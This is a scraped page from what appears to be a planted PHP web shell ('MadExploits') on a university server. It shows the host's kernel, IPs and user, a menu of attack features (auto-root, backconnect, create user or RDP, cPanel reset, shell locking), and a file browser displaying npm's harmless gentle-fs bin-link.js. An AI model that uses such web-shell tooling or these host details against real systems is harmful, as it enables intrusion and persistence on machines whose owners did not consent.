Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.17.166.233
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
npm /
node_modules /
gentle-fs /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
bin-link.js
2.54
KB
-rw-r--r--
chown.js
660
B
-rw-r--r--
link.js
3.53
KB
-rw-r--r--
mkdir.js
514
B
-rw-r--r--
rm.js
7.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : bin-link.js
'use strict' // calls linkIfExists on unix, or cmdShimIfExists on Windows // reads the cmd shim to ensure it's where we need it to be in the case of // top level global packages const readCmdShim = require('read-cmd-shim') const cmdShim = require('cmd-shim') const {linkIfExists} = require('./link.js') const binLink = (from, to, opts, cb) => { // just for testing const platform = opts._FAKE_PLATFORM_ || process.platform if (platform !== 'win32') { return linkIfExists(from, to, opts, cb) } if (!opts.clobberLinkGently || opts.force === true || !opts.gently || typeof opts.gently !== 'string') { // easy, just go ahead and delete anything in the way return cmdShim.ifExists(from, to, cb) } // read all three shim targets // if any exist, and are not a shim to our gently folder, then // exit with a simulated EEXIST error. const shimFiles = [ to, to + '.cmd', to + '.ps1' ] // call this once we've checked all three, if we're good const done = () => cmdShim.ifExists(from, to, cb) const then = times(3, done, cb) shimFiles.forEach(to => isClobberable(from, to, opts, then)) } const times = (n, ok, cb) => { let errState = null return er => { if (!errState) { if (er) { cb(errState = er) } else if (--n === 0) { ok() } } } } const isClobberable = (from, to, opts, cb) => { readCmdShim(to, (er, target) => { // either going to get an error, or the target of where this // cmd shim points. // shim, not in opts.gently: simulate EEXIST // not a shim: simulate EEXIST // ENOENT: fine, move forward // shim in opts.gently: fine if (er) { switch (er.code) { case 'ENOENT': // totally fine, nothing there to clobber return cb() case 'ENOTASHIM': // something is there, and it's not one of ours return cb(simulateEEXIST(from, to)) default: // would probably fail this way later anyway // can't read the file, likely can't write it either return cb(er) } } // no error, check the target if (target.indexOf(opts.gently) !== 0) { return cb(simulateEEXIST(from, to)) } // ok! it's one of ours. return cb() }) } const simulateEEXIST = (from, to) => { // simulate the EEXIST we'd get from fs.symlink to the file const err = new Error('EEXIST: file already exists, cmd shim \'' + from + '\' -> \'' + to + '\'') err.code = 'EEXIST' err.path = from err.dest = to return err } module.exports = binLink
Close